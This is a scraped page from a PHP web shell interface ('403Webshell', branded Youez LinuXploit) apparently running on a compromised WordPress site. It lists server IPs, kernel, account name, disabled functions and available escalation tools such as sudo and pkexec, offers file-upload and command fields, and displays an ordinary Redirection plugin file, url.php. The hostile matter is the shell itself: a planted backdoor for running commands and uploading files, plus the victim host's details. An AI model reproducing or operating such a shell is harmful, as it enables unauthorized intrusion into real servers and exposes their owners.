403Webshell
Server IP : 54.155.247.149  /  Your IP : 172.31.23.231
Web Server : Apache/2.4.68 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System : Linux ip-172-31-10-208.eu-west-1.compute.internal 6.8.0-1044-aws #46~22.04.1-Ubuntu SMP Tue Dec 2 12:52:18 UTC 2025 x86_64
User : kazang ( 1006)
PHP Version : 8.2.31
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/kazang/web/kazang.com/public_html/wp-content/plugins/redirection/matches/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kazang/web/kazang.com/public_html/wp-content/plugins/redirection/matches/url.php
<?php

/**
 * @phpstan-type UrlMap array{
 *    url?: string
 * }
 * @phpstan-type UrlData array{
 *    url: string
 * }
 *
 * Match the URL only.
 *
 * @phpstan-extends Red_Match<UrlMap, string>
 */
class URL_Match extends Red_Match {
	/**
	 * URL
	 *
	 * @var string
	 */
	public $url = '';

	public function name() {
		return __( 'URL only', 'redirection' );
	}

	/**
	 * @param UrlMap $details
	 * @return string|null
	 */
	public function save( array $details, $no_target_url = false ) {
		$data = isset( $details['url'] ) ? $details['url'] : '';

		if ( strlen( $data ) === 0 ) {
			$data = '/';
		}

		if ( $no_target_url ) {
			return null;
		}

		return $this->sanitize_url( $data );
	}

	public function is_match( $url ) {
		return true;
	}

	public function get_target_url( $original_url, $matched_url, Red_Source_Flags $flag, $is_matched ) {
		$target = $this->url;

		if ( $flag->is_regex() ) {
			$target = $this->get_target_regex_url( $matched_url, $target, $original_url, $flag );
		}

		return $target;
	}

	/**
	 * @return UrlData|null
	 */
	public function get_data() {
		if ( $this->url !== '' ) {
			return [
				'url' => $this->url,
			];
		}

		return null;
	}

	/**
	 * Load the match data into this instance.
	 *
	 * @param string|UrlMap $values Match values, as read from the database (plain text, serialized PHP, or parsed array).
	 * @return void
	 */
	public function load( $values ) {
		if ( is_array( $values ) ) {
			$this->url = isset( $values['url'] ) ? $values['url'] : '';
			return;
		}

		$this->url = $values;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit